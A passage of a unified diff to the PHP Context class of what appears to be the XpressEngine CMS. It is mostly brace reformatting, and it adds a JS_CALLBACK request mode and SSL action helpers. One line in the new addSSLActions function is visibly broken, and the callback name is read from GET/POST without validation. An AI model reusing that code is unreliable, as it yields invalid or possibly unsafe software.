is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getBrowserTitle() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - $oModuleController = &getController('module'); + $oModuleController = getController('module'); $oModuleController->replaceDefinedLangCode($self->site_title); return htmlspecialchars($self->site_title); } + + /** + * Return layout's title + * @return string layout's title + */ + public function getSiteTitle() + { + $oModuleModel = &getModel('module'); + $moduleConfig = $oModuleModel->getModuleConfig('module'); + + if(isset($moduleConfig->siteTitle)) + { + return $moduleConfig->siteTitle; + } + return ''; + } + /** * Get browser title * @deprecated */ - function _getBrowserTitle() { return $this->getBrowserTitle(); } + function _getBrowserTitle() + { + return $this->getBrowserTitle(); + } /** * Load language file according to language type @@ -589,23 +783,42 @@ class Context { * @param string $path Path of the language file * @return void */ - function loadLang($path) { + function loadLang($path) + { global $lang; - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - if(!is_object($lang)) $lang = new stdClass; - if(!$self->lang_type) return; + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + if(!is_object($lang)) + { + $lang = new stdClass; + } + if(!$self->lang_type) + { + return; + } $filename = $self->_loadXmlLang($path); - if(!$filename) $filename = $self->_loadPhpLang($path); + if(!$filename) + { + $filename = $self->_loadPhpLang($path); + } - if(!is_array($self->loaded_lang_files)) $self->loaded_lang_files = array(); - if(in_array($filename, $self->loaded_lang_files)) return; + if(!is_array($self->loaded_lang_files)) + { + $self->loaded_lang_files = array(); + } + if(in_array($filename, $self->loaded_lang_files)) + { + return; + } - if ($filename && is_readable($filename)){ + if($filename && is_readable($filename)) + { $self->loaded_lang_files[] = $filename; @include($filename); - }else{ + } + else + { $self->_evalxmlLang($path); } } @@ -616,20 +829,28 @@ class Context { * @param string Path of the language file * @return void */ - function _evalxmlLang($path) { + function _evalxmlLang($path) + { global $lang; - - $_path = 'eval://'.$path; - if(in_array($_path, $this->loaded_lang_files)) return; + $_path = 'eval://' . $path; - if(substr($path,-1)!='/') $path .= '/'; - $file = $path.'lang.xml'; + if(in_array($_path, $this->loaded_lang_files)) + { + return; + } + + if(substr($path, -1) != '/') + { + $path .= '/'; + } + $file = $path . 'lang.xml'; $oXmlLangParser = new XmlLangParser($file, $this->lang_type); $content = $oXmlLangParser->getCompileContent(); - if ($content){ + if($content) + { $this->loaded_lang_files[] = $_path; eval($content); } @@ -641,9 +862,13 @@ class Context { * @param string $path Path of the language file * @return string file name */ - function _loadXmlLang($path) { - if(substr($path,-1)!='/') $path .= '/'; - $file = $path.'lang.xml'; + function _loadXmlLang($path) + { + if(substr($path, -1) != '/') + { + $path .= '/'; + } + $file = $path . 'lang.xml'; $oXmlLangParser = new XmlLangParser($file, $this->lang_type); $file = $oXmlLangParser->compile(); @@ -657,17 +882,25 @@ class Context { * @param string $path Path of the language file * @return string file name */ - function _loadPhpLang($path) { - if(substr($path,-1)!='/') $path .= '/'; - $path_tpl = $path.'%s.lang.php'; + function _loadPhpLang($path) + { + if(substr($path, -1) != '/') + { + $path .= '/'; + } + $path_tpl = $path . '%s.lang.php'; $file = sprintf($path_tpl, $this->lang_type); - $langs = array('ko','en'); // this will be configurable. - while(!is_readable($file) && $langs[0]) { + $langs = array('ko', 'en'); // this will be configurable. + while(!is_readable($file) && $langs[0]) + { $file = sprintf($path_tpl, array_shift($langs)); } - if(!is_readable($file)) return false; + if(!is_readable($file)) + { + return false; + } return $file; } @@ -677,8 +910,9 @@ class Context { * @param string $lang_type Language type. * @return void */ - function setLangType($lang_type = 'ko') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function setLangType($lang_type = 'ko') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->lang_type = $lang_type; $self->set('lang_type', $lang_type); @@ -691,8 +925,9 @@ class Context { * * @return string Language type */ - function getLangType() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getLangType() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->lang_type; } @@ -702,9 +937,16 @@ class Context { * @param string $code Language variable name * @return string If string for the code exists returns it, otherwise returns original code */ - function getLang($code) { - if(!$code) return; - if($GLOBALS['lang']->{$code}) return $GLOBALS['lang']->{$code}; + function getLang($code) + { + if(!$code) + { + return; + } + if($GLOBALS['lang']->{$code}) + { + return $GLOBALS['lang']->{$code}; + } return $code; } @@ -715,7 +957,12 @@ class Context { * @param string $val `$code`s value * @return void */ - function setLang($code, $val) { + function setLang($code, $val) + { + if(!isset($GLOBALS['lang'])) + { + $GLOBALS['lang'] = new stdClass(); + } $GLOBALS['lang']->{$code} = $val; } @@ -725,7 +972,8 @@ class Context { * @param object $source_obj Conatins strings to convert * @return object converted object */ - function convertEncoding($source_obj) { + function convertEncoding($source_obj) + { $charset_list = array( 'UTF-8', 'EUC-KR', 'CP949', 'ISO8859-1', 'EUC-JP', 'SHIFT_JIS', 'CP932', 'EUC-CN', 'HZ', 'GBK', 'GB18030', 'EUC-TW', 'BIG5', 'CP950', 'BIG5-HKSCS', @@ -737,27 +985,31 @@ class Context { 'CP1257', 'CP850', 'CP866', ); - $obj = clone($source_obj); + $obj = clone $source_obj; - foreach($charset_list as $charset) + foreach($charset_list as $charset) { array_walk($obj,'Context::checkConvertFlag',$charset); $flag = Context::checkConvertFlag($flag = true); if($flag) { - if($charset == 'UTF-8') return $obj; + if($charset == 'UTF-8') + { + return $obj; + } array_walk($obj,'Context::doConvertEncoding',$charset); return $obj; } } return $obj; } + /** - * Check flag + * Check flag * * @param mixed $val * @param string $key - * @param mixed $charset charset + * @param mixed $charset charset * @see arrayConvWalkCallback will replaced array_walk_recursive in >=PHP5 * @return void */ @@ -780,7 +1032,7 @@ class Context { } /** - * Convert array type variables into UTF-8 + * Convert array type variables into UTF-8 * * @param mixed $val * @param string $key @@ -803,7 +1055,9 @@ class Context { * @param string $str String to convert * @return string converted string */ - function convertEncodingStr($str) { + function convertEncodingStr($str) + { + $obj = new stdClass(); $obj->str = $str; $obj = Context::convertEncoding($obj); return $obj->str; @@ -815,10 +1069,11 @@ class Context { * @param string $method Response method. [HTML|XMLRPC|JSON] * @return void */ - function setResponseMethod($method='HTML') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function setResponseMethod($method = 'HTML') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - $methods = array('HTML'=>1, 'XMLRPC'=>1, 'JSON'=>1); + $methods = array('HTML' => 1, 'XMLRPC' => 1, 'JSON' => 1, 'JS_CALLBACK' => 1); $self->response_method = isset($methods[$method]) ? $method : 'HTML'; } @@ -827,13 +1082,17 @@ class Context { * * @return string Response method. If it's not set, returns request method. */ - function getResponseMethod() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getResponseMethod() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - if($self->response_method) return $self->response_method; + if($self->response_method) + { + return $self->response_method; + } - $method = $self->getRequestMethod(); - $methods = array('HTML'=>1, 'XMLRPC'=>1, 'JSON'=>1); + $method = $self->getRequestMethod(); + $methods = array('HTML' => 1, 'XMLRPC' => 1, 'JSON' => 1, 'JS_CALLBACK' => 1); return isset($methods[$method]) ? $method : 'HTML'; } @@ -844,13 +1103,17 @@ class Context { * @param string $type Request method. (Optional - GET|POST|XMLRPC|JSON) * @return void */ - function setRequestMethod($type='') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function setRequestMethod($type = '') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - ($type && $self->request_method=$type) or - (strpos($_SERVER['CONTENT_TYPE'],'json') && $self->request_method='JSON') or - ($GLOBALS['HTTP_RAW_POST_DATA'] && $self->request_method='XMLRPC') or - ($self->request_method = $_SERVER['REQUEST_METHOD']); + $self->js_callback_func = isset($_GET['xe_js_callback']) ? $_GET['xe_js_callback'] : $_POST['xe_js_callback']; + + ($type && $self->request_method = $type) or + (strpos($_SERVER['CONTENT_TYPE'], 'json') && $self->request_method = 'JSON') or + ($GLOBALS['HTTP_RAW_POST_DATA'] && $self->request_method = 'XMLRPC') or + ($self->js_callback_func && $self->request_method = 'JS_CALLBACK') or + ($self->request_method = $_SERVER['REQUEST_METHOD']); } /** @@ -858,16 +1121,37 @@ class Context { * * @return void */ - function _setRequestArgument() { - if(!count($_REQUEST)) return; + function _setRequestArgument() + { + if(!count($_REQUEST)) + { + return; + } - foreach($_REQUEST as $key => $val) { - if($val === '' || Context::get($key)) continue; + foreach($_REQUEST as $key => $val) + { + if($val === '' || Context::get($key)) + { + continue; + } $val = $this->_filterRequestVar($key, $val); - if($this->getRequestMethod()=='GET'&&isset($_GET[$key])) $set_to_vars = true; - elseif($this->getRequestMethod()=='POST'&&isset($_POST[$key])) $set_to_vars = true; - else $set_to_vars = false; + if($this->getRequestMethod() == 'GET' && isset($_GET[$key])) + { + $set_to_vars = true; + } + elseif($this->getRequestMethod() == 'POST' && isset($_POST[$key])) + { + $set_to_vars = true; + } + elseif($this->getRequestMethod() == 'JS_CALLBACK' && (isset($_GET[$key]) || isset($_POST[$key]))) + { + $set_to_vars = true; + } + else + { + $set_to_vars = false; + } if($set_to_vars) { @@ -906,14 +1190,19 @@ class Context { * * @return void */ - function _setJSONRequestArgument() { - if($this->getRequestMethod() != 'JSON') return; + function _setJSONRequestArgument() + { + if($this->getRequestMethod() != 'JSON') + { + return; + } $params = array(); - parse_str($GLOBALS['HTTP_RAW_POST_DATA'],$params); + parse_str($GLOBALS['HTTP_RAW_POST_DATA'], $params); - foreach($params as $key => $val) { - $val = $this->_filterRequestVar($key, $val,0); + foreach($params as $key => $val) + { + $val = $this->_filterRequestVar($key, $val, 1); $this->set($key, $val, true); } } @@ -923,8 +1212,12 @@ class Context { * * @return void */ - function _setXmlRpcArgument() { - if($this->getRequestMethod() != 'XMLRPC') return; + function _setXmlRpcArgument() + { + if($this->getRequestMethod() != 'XMLRPC') + { + return; + } $oXml = new XmlParser(); $xml_obj = $oXml->parse(); @@ -932,9 +1225,13 @@ class Context { unset($params->node_name); unset($params->attrs); - if(!count($params)) return; - foreach($params as $key => $obj) { - $val = $this->_filterRequestVar($key, $obj->body,0); + if(!count($params)) + { + return; + } + foreach($params as $key => $obj) + { + $val = $this->_filterRequestVar($key, $obj->body, 0); $this->set($key, $val, true); } } @@ -948,7 +1245,8 @@ class Context { * @param string $do_stripslashes Whether to strip slashes * @return mixed filtered value. Type are string or array */ - function _filterRequestVar($key, $val, $do_stripslashes = 1) { + function _filterRequestVar($key, $val, $do_stripslashes = 1) + { $isArray = TRUE; if(!is_array($val)) { @@ -960,7 +1258,7 @@ class Context { { if($key === 'page' || $key === 'cpage' || substr($key, -3) === 'srl') { - $val[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int)$v : $v; + $val[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v; } elseif($key === 'mid' || $key === 'vid' || $key === 'search_keyword') { @@ -973,7 +1271,10 @@ class Context { $v = stripslashes($v); } - if (is_string($v)) $val[$k] = trim($v); + if(!is_array($v)) + { + $val[$k] = trim($v); + } } } @@ -992,8 +1293,9 @@ class Context { * * @return bool True: exists, False: otherwise */ - function isUploaded() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function isUploaded() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->is_uploaded; } @@ -1002,26 +1304,45 @@ class Context { * * @return void */ - function _setUploadedArgument() { - if($this->getRequestMethod() != 'POST') return; - if(!preg_match('/multipart\/form-data/i',$_SERVER['CONTENT_TYPE'])) return; - if(!$_FILES) return; + function _setUploadedArgument() + { + if($_SERVER['REQUEST_METHOD'] != 'POST') + { + return; + } + if(!preg_match('/multipart\/form-data/i', $_SERVER['CONTENT_TYPE'])) + { + return; + } + if(!$_FILES) + { + return; + } - foreach($_FILES as $key => $val) { + foreach($_FILES as $key => $val) + { $tmp_name = $val['tmp_name']; - if(!is_array($tmp_name)){ - if(!$tmp_name || !is_uploaded_file($tmp_name)) continue; + if(!is_array($tmp_name)) + { + if(!$tmp_name || !is_uploaded_file($tmp_name)) + { + continue; + } $val['name'] = htmlspecialchars($val['name']); $this->set($key, $val, true); $this->is_uploaded = true; - }else { - for($i=0;$i< count($tmp_name);$i++){ - if($val['size'][$i] > 0){ - $file['name']=$val['name'][$i]; - $file['type']=$val['type'][$i]; - $file['tmp_name']=$val['tmp_name'][$i]; - $file['error']=$val['error'][$i]; - $file['size']=$val['size'][$i]; + } + else + { + for($i = 0; $i < count($tmp_name); $i++) + { + if($val['size'][$i] > 0) + { + $file['name'] = $val['name'][$i]; + $file['type'] = $val['type'][$i]; + $file['tmp_name'] = $val['tmp_name'][$i]; + $file['error'] = $val['error'][$i]; + $file['size'] = $val['size'][$i]; $files[] = $file; } } @@ -1034,8 +1355,9 @@ class Context { * Return request method * @return string Request method type. (Optional - GET|POST|XMLRPC|JSON) */ - function getRequestMethod() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getRequestMethod() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->request_method; } @@ -1043,9 +1365,11 @@ class Context { * Return request URL * @return string request URL */ - function getRequestUrl() { + function getRequestUrl() + { static $url = null; - if(is_null($url)) { + if(is_null($url)) + { $url = Context::getRequestUri(); if(count($_GET)) { @@ -1059,6 +1383,16 @@ class Context { return $url; } + /** + * Return js callback func. + * @return string callback func. + */ + function getJSCallbackFunc() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + return $self->js_callback_func; + } + /** * Make URL with args_list upon request URL * @@ -1069,59 +1403,89 @@ class Context { * @param bool $autoEncode If true, url encode automatically, detailed. Use this option, $encode value should be true * @return string URL */ - function getUrl($num_args=0, $args_list=array(), $domain = null, $encode = true, $autoEncode = false) { + function getUrl($num_args = 0, $args_list = array(), $domain = null, $encode = true, $autoEncode = false) + { static $site_module_info = null; static $current_info = null; - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); // retrieve virtual site information - if(is_null($site_module_info)) $site_module_info = Context::get('site_module_info'); + if(is_null($site_module_info)) + { + $site_module_info = Context::get('site_module_info'); + } // If $domain is set, handle it (if $domain is vid type, remove $domain and handle with $vid) - if($domain && isSiteID($domain)) { + if($domain && isSiteID($domain)) + { $vid = $domain; $domain = ''; } // If $domain, $vid are not set, use current site information - if(!$domain && !$vid) { - if($site_module_info->domain && isSiteID($site_module_info->domain)) $vid = $site_module_info->domain; - else $domain = $site_module_info->domain; + if(!$domain && !$vid) + { + if($site_module_info->domain && isSiteID($site_module_info->domain)) + { + $vid = $site_module_info->domain; + } + else + { + $domain = $site_module_info->domain; + } } // if $domain is set, compare current URL. If they are same, remove the domain, otherwise link to the domain. - if($domain) { + if($domain) + { $domain_info = parse_url($domain); - if(is_null($current_info)) $current_info = parse_url(($_SERVER['HTTPS']=='on'?'https':'http').'://'.$_SERVER['HTTP_HOST'].getScriptPath()); - if($domain_info['host'].$domain_info['path']==$current_info['host'].$current_info['path']) { + if(is_null($current_info)) + { + $current_info = parse_url(($_SERVER['HTTPS'] == 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . getScriptPath()); + } + if($domain_info['host'] . $domain_info['path'] == $current_info['host'] . $current_info['path']) + { unset($domain); - } else { - $domain = preg_replace('/^(http|https):\/\//i','', trim($domain)); - if(substr($domain,-1) != '/') $domain .= '/'; + } + else + { + $domain = preg_replace('/^(http|https):\/\//i', '', trim($domain)); + if(substr($domain, -1) != '/') + { + $domain .= '/'; + } } } $get_vars = null; // If there is no GET variables or first argument is '' to reset variables - if(!$self->get_vars || $args_list[0]=='') { + if(!$self->get_vars || $args_list[0] == '') + { // rearrange args_list - if(is_array($args_list) && $args_list[0]=='') array_shift($args_list); - } else { + if(is_array($args_list) && $args_list[0] == '') + { + array_shift($args_list); + } + } + else + { // Otherwise, make GET variables into array $get_vars = get_object_vars($self->get_vars); } // arrange args_list - for($i=0,$c=count($args_list);$i<$c;$i=$i+2) { + for($i = 0, $c = count($args_list); $i < $c; $i = $i + 2) + { $key = $args_list[$i]; - $val = trim($args_list[$i+1]); + $val = trim($args_list[$i + 1]); // If value is not set, remove the key - if(!isset($val) || !strlen($val)) { - unset($get_vars[$key]); - continue; + if(!isset($val) || !strlen($val)) + { + unset($get_vars[$key]); + continue; } // set new variables $get_vars[$key] = $val; @@ -1129,24 +1493,35 @@ class Context { // remove vid, rnd unset($get_vars['rnd']); - if($vid) $get_vars['vid'] = $vid; - else unset($get_vars['vid']); + if($vid) + { + $get_vars['vid'] = $vid; + } + else + { + unset($get_vars['vid']); + } // for compatibility to lower versions $act = $get_vars['act']; $act_alias = array( - 'dispMemberFriend'=>'dispCommunicationFriend', - 'dispMemberMessages'=>'dispCommunicationMessages', - 'dispDocumentAdminManageDocument'=>'dispDocumentManageDocument', - 'dispModuleAdminSelectList'=>'dispModuleSelectList' + 'dispMemberFriend' => 'dispCommunicationFriend', + 'dispMemberMessages' => 'dispCommunicationMessages', + 'dispDocumentAdminManageDocument' => 'dispDocumentManageDocument', + 'dispModuleAdminSelectList' => 'dispModuleSelectList' ); - if($act_alias[$act]) $get_vars['act'] = $act_alias[$act]; + if($act_alias[$act]) + { + $get_vars['act'] = $act_alias[$act]; + } // organize URL $query = ''; - if(count($get_vars)) { + if(count($get_vars)) + { // if using rewrite mod - if($self->allow_rewrite) { + if($self->allow_rewrite) + { $var_keys = array_keys($get_vars); sort($var_keys); @@ -1158,85 +1533,117 @@ class Context { $key = $get_vars['key']; $srl = $get_vars['document_srl']; - $tmpArray = array('rss'=>1, 'atom'=>1, 'api'=>1); + $tmpArray = array('rss' => 1, 'atom' => 1, 'api' => 1); $is_feed = isset($tmpArray[$act]); $target_map = array( - 'vid'=>$vid, - 'mid'=>$mid, - 'mid.vid'=>"$vid/$mid", - - 'entry.mid' =>"$mid/entry/".$get_vars['entry'], - 'entry.mid.vid'=>"$vid/$mid/entry/".$get_vars['entry'], - - 'document_srl'=>$srl, - 'document_srl.mid'=>"$mid/$srl", - 'document_srl.vid'=>"$vid/$srl", - 'document_srl.mid.vid'=>"$vid/$mid/$srl", - - 'act.mid' =>$is_feed?"$mid/$act":'', - 'act.mid.vid'=>$is_feed?"$vid/$mid/$act":'', - 'act.document_srl.key' =>($act=='trackback')?"$srl/$key/$act":'', - 'act.document_srl.key.mid'=>($act=='trackback')?"$mid/$srl/$key/$act":'', - 'act.document_srl.key.vid'=>($act=='trackback')?"$vid/$srl/$key/$act":'', - 'act.document_srl.key.mid.vid'=>($act=='trackback')?"$vid/$mid/$srl/$key/$act":'' + 'vid' => $vid, + 'mid' => $mid, + 'mid.vid' => "$vid/$mid", + 'entry.mid' => "$mid/entry/" . $get_vars['entry'], + 'entry.mid.vid' => "$vid/$mid/entry/" . $get_vars['entry'], + 'document_srl' => $srl, + 'document_srl.mid' => "$mid/$srl", + 'document_srl.vid' => "$vid/$srl", + 'document_srl.mid.vid' => "$vid/$mid/$srl", + 'act.mid' => $is_feed ? "$mid/$act" : '', + 'act.mid.vid' => $is_feed ? "$vid/$mid/$act" : '', + 'act.document_srl.key' => ($act == 'trackback') ? "$srl/$key/$act" : '', + 'act.document_srl.key.mid' => ($act == 'trackback') ? "$mid/$srl/$key/$act" : '', + 'act.document_srl.key.vid' => ($act == 'trackback') ? "$vid/$srl/$key/$act" : '', + 'act.document_srl.key.mid.vid' => ($act == 'trackback') ? "$vid/$mid/$srl/$key/$act" : '' ); - $query = $target_map[$target]; + $query = $target_map[$target]; } - if(!$query) { + if(!$query) + { $queries = array(); - foreach($get_vars as $key => $val) { - if(is_array($val) && count($val)) { - foreach($val as $k => $v) $queries[] = $key.'['.$k.']='.urlencode($v); - } else { - $queries[] = $key.'='.@urlencode($val); + foreach($get_vars as $key => $val) + { + if(is_array($val) && count($val)) + { + foreach($val as $k => $v) + { + $queries[] = $key . '[' . $k . ']=' . urlencode($v); + } + } + else + { + $queries[] = $key . '=' . @urlencode($val); } } - if(count($queries)) $query = 'index.php?'.implode('&', $queries); + if(count($queries)) + { + $query = 'index.php?' . implode('&', $queries); + } } } // If using SSL always $_use_ssl = $self->get('_use_ssl'); - if($_use_ssl == 'always') { - $query = $self->getRequestUri(ENFORCE_SSL, $domain).$query; - // optional SSL use - } elseif($_use_ssl == 'optional') { + if($_use_ssl == 'always') + { + $query = $self->getRequestUri(ENFORCE_SSL, $domain) . $query; + // optional SSL use + } + elseif($_use_ssl == 'optional') + { $ssl_mode = RELEASE_SSL; - if($get_vars['act'] && $self->isExistsSSLAction($get_vars['act'])) $ssl_mode = ENFORCE_SSL; - $query = $self->getRequestUri($ssl_mode, $domain).$query; - // no SSL - } else { + if($get_vars['act'] && $self->isExistsSSLAction($get_vars['act'])) + { + $ssl_mode = ENFORCE_SSL; + } + $query = $self->getRequestUri($ssl_mode, $domain) . $query; + // no SSL + } + else + { // currently on SSL but target is not based on SSL - if($_SERVER['HTTPS']=='on' ) $query = $self->getRequestUri(ENFORCE_SSL, $domain).$query; + if($_SERVER['HTTPS'] == 'on') + { + $query = $self->getRequestUri(ENFORCE_SSL, $domain) . $query; + } // if $domain is set - else if($domain) $query = $self->getRequestUri(FOLLOW_REQUEST_SSL, $domain).$query; + else if($domain) + { + $query = $self->getRequestUri(FOLLOW_REQUEST_SSL, $domain) . $query; + } - else $query = getScriptPath().$query; + else + { + $query = getScriptPath() . $query; + } } - if ($encode){ - if($autoEncode){ + if($encode) + { + if($autoEncode) + { $parsedUrl = parse_url($query); parse_str($parsedUrl['query'], $output); $encode_queries = array(); - foreach($output as $key=>$value){ - if (preg_match('/&([a-z]{2,}|#\d+);/', urldecode($value))){ + foreach($output as $key => $value) + { + if(preg_match('/&([a-z]{2,}|#\d+);/', urldecode($value))) + { $value = urlencode(htmlspecialchars_decode(urldecode($value))); } - $encode_queries[] = $key.'='.$value; + $encode_queries[] = $key . '=' . $value; } $encode_query = implode('&', $encode_queries); - return htmlspecialchars($parsedUrl['path'].'?'.$encode_query); + return htmlspecialchars($parsedUrl['path'] . '?' . $encode_query); } - else{ + else + { return htmlspecialchars($query); } - }else{ - return $query; + } + else + { + return $query; } } @@ -1247,51 +1654,93 @@ class Context { * @param string $domain Domain * @retrun string converted URL */ - function getRequestUri($ssl_mode = FOLLOW_REQUEST_SSL, $domain = null) { + function getRequestUri($ssl_mode = FOLLOW_REQUEST_SSL, $domain = null) + { static $url = array(); // HTTP Request가 아니면 패스 - if(!isset($_SERVER['SERVER_PROTOCOL'])) return ; - if(Context::get('_use_ssl') == 'always') $ssl_mode = ENFORCE_SSL; - - if($domain) $domain_key = md5($domain); - else $domain_key = 'default'; - - if(isset($url[$ssl_mode][$domain_key])) return $url[$ssl_mode][$domain_key]; - - $current_use_ssl = $_SERVER['HTTPS']=='on' ? true : false; - - switch($ssl_mode) { - case FOLLOW_REQUEST_SSL: $use_ssl = $current_use_ssl; break; - case ENFORCE_SSL: $use_ssl = true; break; - case RELEASE_SSL: $use_ssl = false; break; + if(!isset($_SERVER['SERVER_PROTOCOL'])) + { + return; } - if($domain) { + if(Context::get('_use_ssl') == 'always') + { + $ssl_mode = ENFORCE_SSL; + } + + if($domain) + { + $domain_key = md5($domain); + } + else + { + $domain_key = 'default'; + } + + if(isset($url[$ssl_mode][$domain_key])) + { + return $url[$ssl_mode][$domain_key]; + } + + $current_use_ssl = $_SERVER['HTTPS'] == 'on' ? true : false; + + switch($ssl_mode) + { + case FOLLOW_REQUEST_SSL: $use_ssl = $current_use_ssl; + break; + case ENFORCE_SSL: $use_ssl = true; + break; + case RELEASE_SSL: $use_ssl = false; + break; + } + + if($domain) + { $target_url = trim($domain); - if(substr($target_url,-1) != '/') $target_url.= '/'; - } else { - $target_url= $_SERVER['HTTP_HOST'].getScriptPath(); + if(substr($target_url, -1) != '/') + { + $target_url.= '/'; + } + } + else + { + $target_url = $_SERVER['HTTP_HOST'] . getScriptPath(); } - $url_info = parse_url('http://'.$target_url); + $url_info = parse_url('http://' . $target_url); if($current_use_ssl != $use_ssl) { unset($url_info['port']); } - if($use_ssl) { + if($use_ssl) + { $port = Context::get('_https_port'); - if($port && $port != 443) $url_info['port'] = $port; - elseif($url_info['port']==443) unset($url_info['port']); - } else { + if($port && $port != 443) + { + $url_info['port'] = $port; + } + elseif($url_info['port'] == 443) + { + unset($url_info['port']); + } + } + else + { $port = Context::get('_http_port'); - if($port && $port != 80) $url_info['port'] = $port; - elseif($url_info['port']==80) unset($url_info['port']); + if($port && $port != 80) + { + $url_info['port'] = $port; + } + elseif($url_info['port'] == 80) + { + unset($url_info['port']); + } } - $url[$ssl_mode][$domain_key] = sprintf('%s://%s%s%s',$use_ssl?'https':$url_info['scheme'], $url_info['host'], $url_info['port']&&$url_info['port']!=80?':'.$url_info['port']:'',$url_info['path']); + $url[$ssl_mode][$domain_key] = sprintf('%s://%s%s%s', $use_ssl ? 'https' : $url_info['scheme'], $url_info['host'], $url_info['port'] && $url_info['port'] != 80 ? ':' . $url_info['port'] : '', $url_info['path']); return $url[$ssl_mode][$domain_key]; } @@ -1304,16 +1753,23 @@ class Context { * @param mixed $set_to_get_vars If not false, Set to get vars. * @return void */ - function set($key, $val, $set_to_get_vars=0) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function set($key, $val, $set_to_get_vars = 0) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->context->{$key} = $val; - if($set_to_get_vars === false) return; + if($set_to_get_vars === false) + { + return; + } if($val === NULL || $val === '') { unset($self->get_vars->{$key}); return; } - if($set_to_get_vars || $self->get_vars->{$key}) $self->get_vars->{$key} = $val; + if($set_to_get_vars || $self->get_vars->{$key}) + { + $self->get_vars->{$key} = $val; + } } /** @@ -1322,10 +1778,14 @@ class Context { * @param string $key Key * @return string Key */ - function get($key) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function get($key) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - if(!isset($self->context->{$key})) return null; + if(!isset($self->context->{$key})) + { + return null; + } return $self->context->{$key}; } @@ -1334,13 +1794,19 @@ class Context { * * @return object */ - function gets() { + function gets() + { $num_args = func_num_args(); - if($num_args<1) return; - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + if($num_args < 1) + { + return; + } + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $args_list = func_get_args(); - foreach($args_list as $v) { + $output = new stdClass(); + foreach($args_list as $v) + { $output->{$v} = $self->get($v); } return $output; @@ -1351,8 +1817,9 @@ class Context { * * @return object All data */ - function getAll() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getAll() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->context; } @@ -1361,22 +1828,25 @@ class Context { * * @return Object Request variables. */ - function getRequestVars() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - if($self->get_vars) return clone($self->get_vars); + function getRequestVars() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + if($self->get_vars) + { + return clone($self->get_vars); + } return new stdClass; } - /** - * Register if actions is to be encrypted by SSL. Those actions are sent to https in common/js/xml_handler.js + * Register if an action is to be encrypted by SSL. Those actions are sent to https in common/js/xml_handler.js * * @param string $action act name * @return void */ function addSSLAction($action) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); if(!is_readable($self->sslActionCacheFile)) { @@ -1386,19 +1856,71 @@ class Context { if(!isset($self->ssl_actions[$action])) { + $self->ssl_actions[$action] = 1; $sslActionCacheString = sprintf('$sslActions[\'%s\'] = 1;', $action); FileHandler::writeFile($self->sslActionCacheFile, $sslActionCacheString, 'a'); } } + /** + * Register if actions are to be encrypted by SSL. Those actions are sent to https in common/js/xml_handler.js + * + * @param string $action act name + * @return void + */ + function addSSLActions($action_array) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + + if(!is_readable($self->sslActionCacheFile)) + { + unset($self->ssl_actions); + $buff = 'sslActionCacheFile, $buff); + } + + foreach($action_array as $action) + { + if(!isset($self->ssl_actions[$action])) + { + $self->ssl_actions[$action] = 1; + $sslActionCacheString = sprintf('$sslActions[\'%s\'] = 1;', $action); + FileHandler::writeFile($self->sslActionCacheFile, $sslActionCacheString, 'a'); + } + } + } + + /** + * Delete if action is registerd to be encrypted by SSL. + * + * @param string $action act name + * @return void + */ + function subtractSSLAction($action) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + + if($self->isExistsSSLAction($action)) + { + $sslActionCacheString = sprintf('$sslActions[\'%s\'] = 1;', $action); + $buff = FileHandler::readFile($self->sslActionCacheFile); + $buff = str_replace($sslActionCacheString, '', $buff); + FileHandler::writeFile($self->sslActionCacheFile, $buff); + } + } + /** * Get SSL Action * - * @return string act + * @return string acts in array */ - function getSSLActions() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - return $self->ssl_actions; + function getSSLActions() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + if($self->getSslStatus() == 'optional') + { + return $self->ssl_actions; + } } /** @@ -1407,8 +1929,9 @@ class Context { * @param string $action act name * @return bool If SSL exists, return true. */ - function isExistsSSLAction($action) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function isExistsSSLAction($action) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return isset($self->ssl_actions[$action]); } @@ -1419,10 +1942,17 @@ class Context { * @param string $file file path * @return string normalized file path */ - function normalizeFilePath($file) { - if(strpos($file,'://')===false && $file{0}!='/' && $file{0}!='.') $file = './'.$file; + function normalizeFilePath($file) + { + if(strpos($file, 